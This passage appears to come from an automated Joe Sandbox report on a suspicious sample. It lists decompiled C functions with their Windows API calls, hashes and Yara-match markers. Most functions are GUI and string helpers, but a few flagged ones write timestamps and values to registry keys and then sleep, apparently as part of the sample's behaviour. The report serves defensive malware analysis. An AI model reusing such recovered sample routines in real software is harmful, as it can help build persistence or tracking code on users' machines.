						_t173 =  &_v460;
						SendMessageA( *_t114, 0x41d, _t114[3], _t173);
						_t207 = _v428;
						_t117 = SendMessageA(_t207, 0x418, 0, 0);
						_v296 = _t117;
						if(_t117 <= 0) {
							L37:
							_pop(_t208);
							_pop(_t216);
							_pop(_t166);
							return E001059E6(0, _t166, _v12 ^ _t227, _t196, _t208, _t216);
						} else {
							_t120 = SendMessageA(_t207, 0x52e, 0, 0);
							_v288 = _t120;
							 *((char*)(_t215 + 8)) = _t173 & 0xffffff00 | _t120 != 0x00000000;
							_t121 = CreatePopupMenu();
							_t196 =  &_v268;
							_v272 = _t121;
							_t217 = 0;
							_v268.left = 0;
							_v268.top = 0;
							_v268.right = 0;
							_v268.bottom = 0;
							GetClientRect(_t207,  &_v268);
							_v276 = 0;
							if(_v284 > 0) {
								while(1) {
									_v236 = 0;
									_v232 = 0;
									_v228 = 0;
									_v224 = 0;
									_v220 = 0;
									SendMessageA(_t207, 0x417, _t217,  &_v236);
									if((_v228 & 0x00000008) != 0) {
										goto L32;
									}
									_v252 = 0;
									_v248 = 0;
									_v244 = 0;
									_v240 = 0;
									SendMessageA(_t207, 0x41d, _t217,  &_v252);
									_t134 = _v228;
									_t196 = _v244;
									_t171 = _t134 >> 0x00000002 & 0x00000001;
									if(_v244 > _v268.right) {
										if((_t134 & 0x00000001) == 0) {
											_push(0xc7);
											_push(0);
											_v216 = 0;
											_push( &_v215);
											if(_v280[2] == 0) {
												E00106820();
												_t230 = _t230 + 0xc;
												_v316 = 0;
												_v296 = 0;
												_v292 = 0;
												_v312 = 0;
												_v308 = 0;
												_v304 = 0;
												_v300 = 0;
												_t220 =  &_v216;
												_v320 = 0x20;
												_v316 = 2;
												_v296 = _t220;
												_v292 = 0xc8;
												if(SendMessageA(_t207, 0x441, _v232,  &_v320) == 0xffffffff || lstrlenA(_t220) == 0) {
													_t220 = 0x11293e;
													_t141 = LoadStringA( *0x170c0c, _v232,  &_v216, 0xc8);
													_t182 = 0;
													if(_t141 > 0) {
														while( *((char*)(_t227 + _t182 - 0xd0)) != 0xa) {
															_t182 = _t182 + 1;
															if(_t182 < _t141) {
																continue;
															} else {
															}
															goto L31;
														}
														_t220 = _t227 + _t182 - 0xcf;
													}
												}
												L31:
												_t196 = _v232;
												AppendMenuA(_v272, 0 | _t171 == 0x00000000, _v232, _t220);
												_t217 = _v276;
											} else {
												E00106820();
												E00106820( &_v368, 0, 0x30);
												_t230 = _t230 + 0x18;
												_v368.cbSize = 0x30;
												if(E000F4890(_t171, _t207, _t217) != 0) {
													_v368.cbSize = 0x2c;
												}
												_v368.fMask = 0x14;
												_v368.dwTypeData =  &_v216;
												_v368.cch = 0xc8;
												GetMenuItemInfoA(_v288, _t217, 1,  &_v368);
												_t196 = _v272;
												AppendMenuA(_v272, 0 | _t171 == 0x00000000 | 0x00000010, _v368.hSubMenu, _v368.dwTypeData);
											}
										} else {
											if(GetMenuItemCount(_v272) > 0) {
												AppendMenuA(_v272, 0x800, 0, 0);
											}
										}
									}
									L32:
									_t217 = _t217 + 1;
									_v276 = _t217;
									if(_t217 < _v284) {
										continue;
									}
									goto L33;
								}
							}
							L33:
							_t218 = _v272;
							if(GetMenuItemCount(_t218) != 0) {
								_pop(_t209);
								 *_v280 = _t218;
								_pop(_t219);
								_pop(_t167);
								return E001059E6(1, _t167, _v12 ^ _t227, _v280, _t209, _t219);
							} else {
								if(_t218 != 0) {
									DestroyMenu(_t218);
								}
								MessageBeep(0xffffffff);
								goto L37;
							}
						}
					} else {
						 *_t214 = __eax;
						 *((intOrPtr*)(_t214 + 4)) = GetCurrentThreadId();
						EnterCriticalSection(0x170c68);
						_t157 =  *0x170c80; // 0x0
						 *((intOrPtr*)(_t214 + 8)) = _t157;
						 *0x170c80 = _t214;
						LeaveCriticalSection(0x170c68);
						_t221 = _a20;
						if(_t221 == 0 && (_a12 & 0x40000000) != 0) {
							_t221 = _t206;
							_a20 = _t221;
						}
						_t158 = _a4;
						if(_t158 == 0) {
							_t158 = 0x15ad10;
							_a4 = 0x15ad10;
						}
						_t11 =  &(_t158[1]); // 0x80000000
						_t203 =  *_t158;
						_t12 =  &(_t158[3]); // 0x0
						_t13 =  &(_t158[2]); // 0x0
						return CreateWindowExA(_a16, _t164 & 0x0000ffff, _a8, _a12,  *_t158,  *_t11,  *_t13 - _t203,  *_t12 -  *_t11, 0, _t221,  *0x170c08, 0);
					}
				} else {
					return 0;
				}
			}

0x000fff90
0x000fff90
0x000fff93
0x000fff96
0x000fff9b
0x000fffa6
0x000fffa6
0x000fffab
0x00100053
0x00100059
0x0010005a
0x0010005b
0x0010005c
0x0010005d
0x0010005e
0x0010005f
0x00100061
0x00100069
0x00100070
0x00100073
0x00100074
0x00100075
0x0010007e
0x00100083
0x00100089
0x00100093
0x00100098
0x001000a1
0x001000a4
0x001000ae
0x001000b3
0x001000c1
0x001000c3
0x001000d3
0x001000d5
0x001000dd
0x001003f7
0x001003f9
0x001003fa
0x001003fb
0x00100409
0x001000e3
0x001000ed
0x001000f4
0x001000fa
0x001000fd
0x00100103
0x00100109
0x00100112
0x00100115
0x0010011b
0x00100121
0x00100127
0x0010012d
0x00100133
0x0010013f
0x00100156
0x00100158
0x0010015e
0x00100164
0x0010016a
0x00100170
0x00100184
0x0010018d
0x00000000
0x00000000
0x001001a3
0x001001a9
0x001001af
0x001001b5
0x001001bb
0x001001bd
0x001001c3
0x001001ce
0x001001d7
0x001001e0
0x0010021c
0x00100227
0x00100229
0x00100230
0x00100231
0x001002ce
0x001002d5
0x001002d8
0x001002de
0x001002e4
0x001002f1
0x001002f7
0x001002fd
0x00100303
0x00100310
0x0010031e
0x00100328
0x00100332
0x00100338
0x0010034b
0x00100374
0x00100379
0x0010037f
0x00100383
0x00100385
0x0010038f
0x00100392
0x00000000
0x00000000
0x00100394
0x00000000
0x00100392
0x00100396
0x00100396
0x00100383
0x0010039d
0x0010039d
0x001003b4
0x001003ba
0x00100237
0x00100237
0x00100247
0x0010024c
0x0010024f
0x00100260
0x00100262
0x00100262
0x00100283
0x0010028d
0x00100293
0x0010029d
0x001002b7
0x001002c3
0x001002c3
0x001001e2
0x001001f1
0x00100207
0x00100207
0x001001f1
0x001001e0
0x001003c0
0x001003c0
0x001003c1
0x001003cd
0x00000000
0x00100150
0x00000000
0x001003cd
0x00100156
0x001003d3
0x001003d3
0x001003e2
0x00100413
0x00100414
0x00100416
0x0010041b
0x00100424
0x001003e4
0x001003e6
0x001003e9
0x001003e9
0x001003f1
0x00000000
0x001003f1
0x001003e2
0x000fffb9
0x000fffb9
0x000fffc6
0x000fffc9
0x000fffcf
0x000fffd4
0x000fffdc
0x000fffe2
0x000fffe8
0x000fffed
0x000ffff8
0x000ffffa
0x000ffffa
0x000ffffd
0x00100002
0x00100004
0x00100009
0x00100009
0x0010000c
0x00100015
0x0010001b
0x0010001e
0x00100045
0x00100045
0x000fff9d
0x000fffa3
0x000fffa3

APIs

GetCurrentThreadId.KERNEL32 ref: 000FFFBB
EnterCriticalSection.KERNEL32(00170C68,?,000FCD7C,?,00000000,06CF0000,00040100), ref: 000FFFC9
LeaveCriticalSection.KERNEL32(00170C68,?,000FCD7C,?,00000000,06CF0000,00040100), ref: 000FFFE2
CreateWindowExA.USER32 ref: 0010003B

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CriticalSection$CreateCurrentEnterLeaveThreadWindow
String ID:
API String ID: 3101199831-0
Opcode ID: c68ff1506dcf69c98d4472e7a55ba7e162afc9ae9de41ad6aeac7ac2bc312f40
Instruction ID: 48d959165f6f096b76ea986226a8cedd01a3c7db6cd89c22c7233ed635b26f11
Opcode Fuzzy Hash: c68ff1506dcf69c98d4472e7a55ba7e162afc9ae9de41ad6aeac7ac2bc312f40
Instruction Fuzzy Hash: 40217171600315AFD7168F54DD44FAB77A8EF88B50F158219F94897690D7B0EC80DB94

Uniqueness

Uniqueness Score: -1.00%

Function 000FACF0 Relevance: 7.6, APIs: 5, Instructions: 71
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000FACF0(void* __esi, void* __eflags, intOrPtr _a4, CHAR* _a8, intOrPtr _a12) {
				void* __ebx;
				void* __edi;
				CHAR* _t38;
				intOrPtr* _t41;
				CHAR* _t42;
				void* _t43;

				_t43 = __esi;
				 *((intOrPtr*)(__esi + 4)) = 0;
				 *((intOrPtr*)(__esi + 0x14)) = 0;
				_t41 = __esi + 0x20;
				 *((intOrPtr*)(__esi + 0x18)) = 0;
				 *((intOrPtr*)(__esi + 0x1c)) = 0;
				E00106820(_t41, 0, 0x58);
				_t38 = __esi + 0x17c;
				 *_t38 = 0;
				 *((char*)(__esi + 0x7c)) = 0;
				 *((intOrPtr*)(__esi + 0x78)) = _a4;
				 *_t41 = 0x58;
				if(E000F4890(_t38, _t41, __esi) != 0) {
					 *_t41 = 0x4c;
				}
				_t42 = _a8;
				 *(_t43 + 0x3c) = _t38;
				 *((intOrPtr*)(_t43 + 0x40)) = 0x104;
				 *((intOrPtr*)(_t43 + 0x5c)) = 0;
				 *((intOrPtr*)(_t43 + 0x44)) = _t43 + 0x7c;
				 *((intOrPtr*)(_t43 + 0x48)) = 0x100;
				 *((intOrPtr*)(_t43 + 0x54)) = 0x880026;
				 *((intOrPtr*)(_t43 + 0x2c)) = _a12;
				 *((intOrPtr*)(_t43 + 0x28)) =  *0x170c0c;
				 *((intOrPtr*)(_t43 + 0x64)) = E00103D40;
				 *((intOrPtr*)(_t43 + 0x24)) = 0;
				if(_t42 == 0 || _t38 == 0) {
					L7:
					return _t43;
				} else {
					if(lstrlenA(_t42) <= 0x103) {
						lstrcpynA(_t38, _t42, lstrlenA(_t42) + 1);
						goto L7;
					} else {
						lstrcpynA(_t38, _t42, 0x104);
						return _t43;
					}
				}
			}

0x000facf0
0x000facf9
0x000facfd
0x000fad00
0x000fad04
0x000fad07
0x000fad0a
0x000fad12
0x000fad1b
0x000fad1e
0x000fad22
0x000fad25
0x000fad32
0x000fad34
0x000fad34
0x000fad3d
0x000fad45
0x000fad48
0x000fad4f
0x000fad52
0x000fad55
0x000fad5c
0x000fad63
0x000fad6b
0x000fad6e
0x000fad75
0x000fad7a
0x000fadb7
0x000fadbb
0x000fad80
0x000fad8c
0x000fadb0
0x00000000
0x000fad8e
0x000fad97
0x000fada2
0x000fada2
0x000fad8c

APIs

_memset.LIBCMT ref: 000FAD0A

Part of subcall function 000F4890: _memset.LIBCMT ref: 000F48B1
Part of subcall function 000F4890: GetVersionExA.KERNEL32(?), ref: 000F48CA

lstrlenA.KERNEL32(?,All Files (*.*),00000000), ref: 000FAD81
lstrcpynA.KERNEL32(?,?,00000104), ref: 000FAD97
lstrlenA.KERNEL32(?), ref: 000FADA6
lstrcpynA.KERNEL32(?,?,00000001), ref: 000FADB0

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: _memsetlstrcpynlstrlen$Version
String ID:
API String ID: 1695601350-0
Opcode ID: 9391da0691837b8b9b527c9c4a2d5b9ad519429a8b0f2d277fad51fb217b0bd7
Instruction ID: d624e14e6bca8b33f042025c53de578d2c144b5980a3bc5db155e0cb098dc14a
Opcode Fuzzy Hash: 9391da0691837b8b9b527c9c4a2d5b9ad519429a8b0f2d277fad51fb217b0bd7
Instruction Fuzzy Hash: 2A2159B0500B049FD761CF29D884AABFBF8FB4A704F00882EE59AC7A51D7B5E4458F61

Uniqueness

Uniqueness Score: -1.00%

Function 02528B87 Relevance: 7.6, APIs: 5, Instructions: 70registrytimeCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 02528BF0
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,000F003F,00000000), ref: 02528C2C
GetLocalTime.KERNEL32(?), ref: 02528C3A
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 02528C52
RegCloseKey.ADVAPI32(00000000), ref: 02528C5C

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: CloseLocalOpenTimeValuewsprintf
String ID:
API String ID: 3926099652-0
Opcode ID: 83430b772c59bbdeed60bba09c01023e2731fd6bdc7614ae23355633b367ee6e
Instruction ID: ba39d68038e71bb2233e971fe4c5a890f5e7e0d943bd926bdf0d81117e8c492e
Opcode Fuzzy Hash: 83430b772c59bbdeed60bba09c01023e2731fd6bdc7614ae23355633b367ee6e
Instruction Fuzzy Hash: 92213275901218AFEB14DFD4D889FFE7778FB48700F048568FA00AA1C0D7799644CB65

Uniqueness

Uniqueness Score: -1.00%

Function 040073C0 Relevance: 7.6, APIs: 5, Instructions: 70
registrytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040073C0(long _a4, intOrPtr _a8, intOrPtr _a12) {
				char* _v8;
				void* _v12;
				void* _v16;
				intOrPtr _v20;
				char _v36;
				char _v52;
				long _t24;
				char* _t26;

				if(_a4 != 0 && _a8 != 0 && _a12 != 0) {
					_t24 = _a4;
					if( *((intOrPtr*)(_t24 + 0x10)) != 0) {
						_v20 = E040016F0(_a8, _a12);
						_t26 =  *0x40118a0; // 0x4013b88
						_v8 = _t26;
						E04007D20(_t26,  &_v36, 0, 0x10);
						wsprintfA( &_v36, "%u", _v20);
						_v12 = 0x80000001;
						if(( *0x401435a & 0x000000ff) != 0) {
							_v12 = 0x80000002;
						}
						_v16 = 0;
						_t24 = RegOpenKeyExA(_v12, _v8, 0, 0xf003f,  &_v16);
						if(_t24 == 0) {
							GetLocalTime( &_v52);
							RegSetValueExA(_v16,  &_v36, 0, 3,  &_v52, 0x10);
							return RegCloseKey(_v16);
						}
					}
				}
				return _t24;
			}

0x040073ca
0x040073e4
0x040073eb
0x04007401
0x04007404
0x04007409
0x04007414
0x04007429
0x04007432
0x04007442
0x04007444
0x04007444
0x0400744b
0x04007465
0x0400746d
0x04007473
0x0400748b
0x00000000
0x04007495
0x0400746d
0x040073eb
0x0400749e

APIs

wsprintfA.USER32 ref: 04007429
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,000F003F,00000000), ref: 04007465
GetLocalTime.KERNEL32(?), ref: 04007473
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 0400748B
RegCloseKey.ADVAPI32(00000000), ref: 04007495

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: CloseLocalOpenTimeValuewsprintf
String ID:
API String ID: 3926099652-0
Opcode ID: 5b6941f17f7e1ce7d1a6ef015ad0abb591c00484f45a97b9485d98f3a3167c0d
Instruction ID: 829c9f2afe597629132b3bb77bbcf1684e2940429f06bc569247a29e29dd4590
Opcode Fuzzy Hash: 5b6941f17f7e1ce7d1a6ef015ad0abb591c00484f45a97b9485d98f3a3167c0d
Instruction Fuzzy Hash: 442112B5900208ABEB14DFA4D849FFE77B8FB48704F048558FA15AB180D77DAA44CB51

Uniqueness

Uniqueness Score: -1.00%

Function 04009650 Relevance: 7.6, APIs: 5, Instructions: 69
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04009650(intOrPtr _a4, intOrPtr _a8, CHAR* _a12, intOrPtr _a16) {
				int _v8;
				intOrPtr _v12;
				char _v20;
				int _v24;
				signed char _v25;
				void* _t58;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0 && _a16 != 0) {
					_v12 = 0;
					_v24 = lstrlenA(_a12);
					while(_v12 < _a8 && _v24 < _a16) {
						_v25 =  *((intOrPtr*)(_a4 + _v12));
						E04007D20(_a4 + _v12,  &_v20, 0, 8);
						E04009560(_v25 & 0x000000ff,  &_v20, 7);
						_t58 = _t58 + 0x18;
						lstrcatA(_a12,  &_v20);
						_v24 = lstrlenA(_a12);
						_v12 = _v12 + 1;
					}
					if(lstrlenA(_a12) > _a16) {
						_a12[_a16] = 0;
					}
					_v8 = lstrlenA(_a12);
				}
				return _v8;
			}

0x04009656
0x04009661
0x04009685
0x04009696
0x04009699
0x040096b1
0x040096bc
0x040096cf
0x040096d4
0x040096df
0x040096ef
0x040096f8
0x040096f8
0x0400970a
0x04009712
0x04009712
0x0400971f
0x0400971f
0x04009728

APIs

lstrlenA.KERNEL32(00000000), ref: 04009690
lstrcatA.KERNEL32(00000000,00000000), ref: 040096DF
lstrlenA.KERNEL32(00000000), ref: 040096E9
lstrlenA.KERNEL32(00000000), ref: 04009701
lstrlenA.KERNEL32(00000000), ref: 04009719

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: lstrlen$lstrcat
String ID:
API String ID: 493641738-0
Opcode ID: 8467699368807e0697c2a8f8d306fbd68601f1d2da39666beca5ff7786e62213
Instruction ID: 5d62f8ff5c671b513c9f4ed5768570a6b0eac4432c67e9f412687076ede29f23
Opcode Fuzzy Hash: 8467699368807e0697c2a8f8d306fbd68601f1d2da39666beca5ff7786e62213
Instruction Fuzzy Hash: 3D213DB1900349EFEB14CFA4D884BEE7BB5FF44305F148558E914A7281D378AA94CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00102C90 Relevance: 7.6, APIs: 5, Instructions: 60
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00102C90(CHAR* __esi, intOrPtr _a4, struct HDC__** _a8, struct tagRECT* _a12, long _a16) {
				int _t20;
				signed int _t25;
				int _t26;
				int _t38;
				struct HDC__** _t39;
				CHAR* _t40;

				_t40 = __esi;
				_t26 = _t25 | 0xffffffff;
				_t38 = 0;
				if(lstrlenA(__esi) > 0) {
					while(_t40[_t38] != 9) {
						_t38 = _t38 + 1;
						if(_t38 < lstrlenA(_t40)) {
							continue;
						} else {
						}
						goto L5;
					}
					_t26 = _t38;
				}
				L5:
				_t39 = _a8;
				SetTextColor( *_t39, _a16);
				_t20 = DrawTextA( *_t39, _t40, _t26, _a12,  !(( *(_a4 + 0x85) & 0x000000ff) << 0x12) & 0x00100000 | 0x00000024);
				if(_t26 != 0xffffffff) {
					_t11 =  &(_t40[1]); // 0x1
					return DrawTextA( *_t39,  &(_t11[_t26]), 0xffffffff, _a12,  !(( *(_a4 + 0x85) & 0x000000ff) << 0x12) & 0x00100000 | 0x00000026);
				}
				return _t20;
			}

0x00102c90
0x00102c96
0x00102c99
0x00102ca3
0x00102ca5
0x00102cac
0x00102cb5
0x00000000
0x00000000
0x00102cb7
0x00000000
0x00102cb5
0x00102cb9
0x00102cb9
0x00102cbb
0x00102cbe
0x00102cc5
0x00102cec
0x00102cf5
0x00102d18
0x00000000
0x00102d1e
0x00102d27

APIs

lstrlenA.KERNEL32(?,749217C0,00000000,?,00102212,?,?,?,00000000,?,?,?,?,?,?,?), ref: 00102C9B
lstrlenA.KERNEL32(?,?,00102212,?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00102CAD
SetTextColor.GDI32(?,?), ref: 00102CC5
DrawTextA.USER32(?,?,00000000,?,00000001), ref: 00102CEC
DrawTextA.USER32(00000001,00000001,000000FF,?,00000001), ref: 00102D1E

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Text$Drawlstrlen$Color
String ID:
API String ID: 2432876991-0
Opcode ID: 382ed6648be62ee6c6abd92ec3e921815551cc1e212b1d72ceaa18bfa3b6b9d8
Instruction ID: 806754afdab780ee2aaae510e8b689c54ae057fb386dd8b8bf2ccb863332d6b2
Opcode Fuzzy Hash: 382ed6648be62ee6c6abd92ec3e921815551cc1e212b1d72ceaa18bfa3b6b9d8
Instruction Fuzzy Hash: 2911A375100105AFE3198F28DDC8EBA3B69EF893A4F108315F8A6832D1DBB4DC91DB60

Uniqueness

Uniqueness Score: -1.00%

Function 000FAF50 Relevance: 7.6, APIs: 5, Instructions: 58
threadCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E000FAF50(intOrPtr __ecx, intOrPtr __edi, void* __esi, intOrPtr _a8, unsigned int _a12, intOrPtr _a16, intOrPtr* _a20) {
				intOrPtr _t14;
				intOrPtr _t15;
				signed int _t21;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				intOrPtr* _t33;

				_t31 = __edi;
				_t24 = __ecx;
				_t14 =  *((intOrPtr*)(__edi + 0x24));
				if( *((intOrPtr*)(_t14 + 4)) == 0) {
					 *((intOrPtr*)(_t14 + 4)) = __ecx;
				}
				_t33 = _t31 + 8;
				if(_t33 == 0) {
					RaiseException(0xc0000005, 1, 0, 0);
					asm("int3");
					_t15 = _t24;
					if(_a20 != 0 || _a8 != 0x111) {
						L8:
						return 0;
					} else {
						_t27 = _a12;
						if(0x400 != _a12) {
							goto L8;
						} else {
							 *_a20 = E000FD5E0(_t15, _t27 >> 0x10, 0x400, _a16);
							return 1;
						}
					}
				} else {
					 *_t33 = _t31;
					 *((intOrPtr*)(_t33 + 4)) = GetCurrentThreadId();
					EnterCriticalSection(0x170c68);
					_t30 =  *0x170c80; // 0x0
					 *((intOrPtr*)(_t33 + 8)) = _t30;
					 *0x170c80 = _t33;
					LeaveCriticalSection(0x170c68);
					_t21 = PrintDlgA( *(_t31 + 0x24));
					asm("sbb eax, eax");
					 *(_t31 + 4) = 0;
					return  ~_t21 + 2;
				}
			}

0x000faf50
0x000faf50
0x000faf50
0x000faf58
0x000faf5a
0x000faf5a
0x000faf5d
0x000faf62
0x000fafb9
0x000fafbf
0x000fafc7
0x000fafc9
0x000fb001
0x000fb004
0x000fafd4
0x000fafd4
0x000fafdf
0x00000000
0x000fafe1
0x000faff6
0x000faffe
0x000faffe
0x000fafdf
0x000faf64
0x000faf64
0x000faf71
0x000faf74
0x000faf7a
0x000faf80
0x000faf88
0x000faf8e
0x000faf98
0x000fafa0
0x000fafa2
0x000fafad
0x000fafad

APIs

GetCurrentThreadId.KERNEL32 ref: 000FAF66
EnterCriticalSection.KERNEL32(00170C68), ref: 000FAF74
LeaveCriticalSection.KERNEL32(00170C68), ref: 000FAF8E
PrintDlgA.COMDLG32(?), ref: 000FAF98
RaiseException.KERNEL32(C0000005,00000001,00000000,00000000,?), ref: 000FAFB9

Part of subcall function 000FD5E0: GetCurrentThreadId.KERNEL32 ref: 000FD613
Part of subcall function 000FD5E0: EnterCriticalSection.KERNEL32(00170C68), ref: 000FD621
Part of subcall function 000FD5E0: LeaveCriticalSection.KERNEL32(00170C68), ref: 000FD63D
Part of subcall function 000FD5E0: CallWindowProcA.USER32 ref: 000FD662

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread$CallExceptionPrintProcRaiseWindow
String ID:
API String ID: 358716633-0
Opcode ID: 858d7063b0b317a1e78b96ff7d61ad14549128d3567e6e647486777ad3cd3cd6
Instruction ID: 9cb697de087302f102126afb876733d3dc05ce21d6ad8c1c7c4813083dd678a9
Opcode Fuzzy Hash: 858d7063b0b317a1e78b96ff7d61ad14549128d3567e6e647486777ad3cd3cd6
Instruction Fuzzy Hash: 74119DB1A40709EBD7629F50DD49BAA77E0EB48704F00C218F6198BA80C7B4E8D4DF80

Uniqueness

Uniqueness Score: -1.00%

Function 02522A97 Relevance: 7.6, APIs: 5, Instructions: 57registrysleepstringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0400C248,00000000,000F003F,00000000), ref: 02522AFE
lstrlen.KERNEL32(?), ref: 02522B0C
RegSetValueExA.ADVAPI32(00000000,-00000208,00000000,00000001,?,?), ref: 02522B2F
RegCloseKey.ADVAPI32(00000000), ref: 02522B39
Sleep.KERNEL32(00001388), ref: 02522B44

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: CloseOpenSleepValuelstrlen
String ID:
API String ID: 3411147897-0
Opcode ID: 938b7cb6186ad2cb83b89a2b0749dbfdb9b9446470f7ced15d3d2a40044d04a4
Instruction ID: 96306793b77c8d5d2feb257dac89c3fcd384f87e5ed548b905dbdd7e893e6649
Opcode Fuzzy Hash: 938b7cb6186ad2cb83b89a2b0749dbfdb9b9446470f7ced15d3d2a40044d04a4
Instruction Fuzzy Hash: E7210075A04209EFEB18DFE4C949BAEBBB5FB44301F108258EA01E72C1D7789A44CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00106BC3 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 81%

			E00106BC3(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x1144d0);
				E00108F60(__ebx, __edi, __esi);
				_t31 = E0010756D(__ebx, __edx, _t35);
				_t15 =  *0x159588; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E0010A67E(_t25, _t31, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
